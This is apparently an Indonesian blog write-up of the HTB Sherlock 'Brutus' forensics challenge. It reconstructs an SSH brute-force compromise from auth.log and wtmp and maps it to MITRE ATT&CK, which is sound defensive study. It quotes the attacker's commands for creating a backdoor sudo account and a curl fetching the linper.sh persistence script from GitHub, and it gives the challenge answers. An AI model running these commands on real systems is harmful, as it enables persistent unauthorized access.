Skip to main content

Command Palette

Search for a command to run...

Brutus — HTB Sherlock: Linux Log Forensics

Analisis forensik log Linux pada kasus brute force SSH — mencakup identifikasi attacker, timeline rekonstruksi, persistence analysis, dan MITRE ATT&CK mapping.

Updated
5 min read
F
https://cyphera.my.id

Challenge Overview

Overview Challange

Brutus adalah challenge forensik yang mengangkat skenario umum di dunia nyata: sebuah server Linux mengalami brute force attack via SSH. Setelah berhasil masuk, attacker melakukan serangkaian aktivitas lanjutan yang dapat direkonstruksi melalui analisis log.

Skill yang Dilatih

  • Unix Log Analysis

  • SSH Brute Force Detection

  • Timeline Reconstruction

  • Persistence Analysis

  • MITRE ATT&CK Mapping


Artifact Overview

Articact

Pola Failed password berulang dari IP yang sama

Artefak Tipe Fungsi
auth.log Text Riwayat autentikasi sistem (SSH, sudo, user management)
wtmp Binary Riwayat sesi login/logout terminal
utmp.py Script Helper untuk membaca wtmp lintas arsitektur

auth.log

File teks yang mencatat seluruh aktivitas autentikasi pada sistem Linux:

  • SSH login attempts (berhasil maupun gagal)

  • Penggunaan sudo

  • Pembuatan user baru & privilege escalation

Struktur umum satu baris log:

[Timestamp]  [Hostname]  [Service/PID]  [Status]  [Username]  [IP]  [Detail]

Contoh entri brute force:

Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2

wtmp

File binary berisi riwayat sesi login/logout. Tidak bisa dibaca langsung — gunakan:

# Native Linux
last -f wtmp

# Helper script (challenge)
python3 utmp.py -o wtmp.out wtmp

Catatan penting: Authentication timeSession start time. Inilah mengapa wtmp krusial untuk validasi timeline. {: .prompt-warning }


Investigation & Findings

Task 1 — Attacker IP Address

Task 1.1

Brute force dapat diidentifikasi dari pola berikut di auth.log:

  • Entri Failed password dalam jumlah sangat banyak

  • Dari IP yang sama

  • Dalam jeda waktu sangat singkat (tidak mungkin manual)

Mar 06 06:31:31 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:35 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2

Answer: 65.2.161.68 {: .prompt-tip }

Task 1.2

Task 2 — Compromised Account

Task 2.1

Indikator keberhasilan brute force adalah adanya log:

Accepted password for root from 65.2.161.68

Attacker berhasil login sebagai user dengan privilege tertinggi.

Entri "Accepted password" menandakan brute force berhasil

Answer: root {: .prompt-tip }

Task 2.2

Task 3 — Interactive Login Timestamp (UTC)

Analisis wtmp diperlukan untuk membedakan waktu autentikasi dan waktu sesi terminal aktif secara nyata.

Task 3.1

Answer: 2024-03-06 06:32:45 UTC {: .prompt-tip }

Task 3.2

Task 4 — SSH Session Number

Setiap koneksi SSH mendapatkan session ID unik yang tercatat di auth.log. Session ID digunakan untuk melacak kapan sesi dimulai dan berakhir.

Task 4.1

Session ID 37 pada entri login root

Answer: 37 {: .prompt-tip }

Task 4.2

Task 5 — Persistence Account

Setelah mendapatkan akses root, attacker membuat user baru sebagai backdoor persistence:

useradd cyberjunkie
usermod -aG sudo cyberjunkie
Task 5.1

Log pembuatan user dan penambahan ke grup sudo

Answer: cyberjunkie {: .prompt-tip }

Task 5.2

Task 6 — MITRE ATT&CK Mapping

Task 6.1

Pembuatan akun lokal untuk persistence diklasifikasikan sebagai:

Field Value
Tactic Persistence
Technique Create Account (T1136)
Sub-technique Local Account
Task 6.2

T1136.001 pada MITRE ATT&CK Enterprise Matrix

Answer: T1136.001 {: .prompt-tip }

Task 6.3

Task 7 — End of First SSH Session

Session ID 37 ditutup berdasarkan log auth.log pada:

Task 7.1

Entri penutupan sesi SSH ID 37

Answer: 2024-03-06 06:37:24 {: .prompt-tip }

Task 7.2

Durasi sesi pertama: ±4 menit 39 detik — singkat, konsisten dengan aktivitas otomatisasi.


Task 8 — Post Exploitation Activity

Task 8.1

Perintah curl via sudo tercatat di auth.log

Attacker login kembali menggunakan akun cyberjunkie, lalu mengeksekusi perintah via sudo:

/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Script eksternal dari GitHub ini kemungkinan digunakan untuk privilege enumeration, persistence reinforcement, dan lateral movement preparation.

Task 8.2

Answer: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh {: .prompt-tip }


✅ Kesimpulan

Achievement

Pertama, brute force attack masih menjadi ancaman nyata, terutama pada sistem yang tidak menerapkan hardening seperti rate limiting, fail2ban, atau key-based authentication.

Kedua, memahami perbedaan antara authentication log dan session log sangat krusial dalam membangun timeline yang akurat. auth.log memberi tahu kita kapan kredensial diterima, sedangkan wtmp memberi tahu kapan sesi benar-benar aktif.

Ketiga, persistence tidak selalu kompleks. Terkadang, teknik sederhana seperti membuat akun lokal baru dan menambahkannya ke grup sudo sudah cukup untuk mempertahankan akses.

Kita melihat bagaimana sebuah serangan brute force terhadap layanan SSH dapat berkembang menjadi kompromi penuh terhadap sistem. Dimulai dari percobaan login masif, berlanjut ke keberhasilan autentikasi sebagai root, kemudian diikuti dengan pembuatan akun baru untuk persistence, hingga eksekusi perintah menggunakan sudo untuk mengunduh script tambahan.

Seringkali, sebuah insiden besar dimulai dari satu hal yang sederhana — sebuah password yang berhasil ditebak. {: .prompt-info }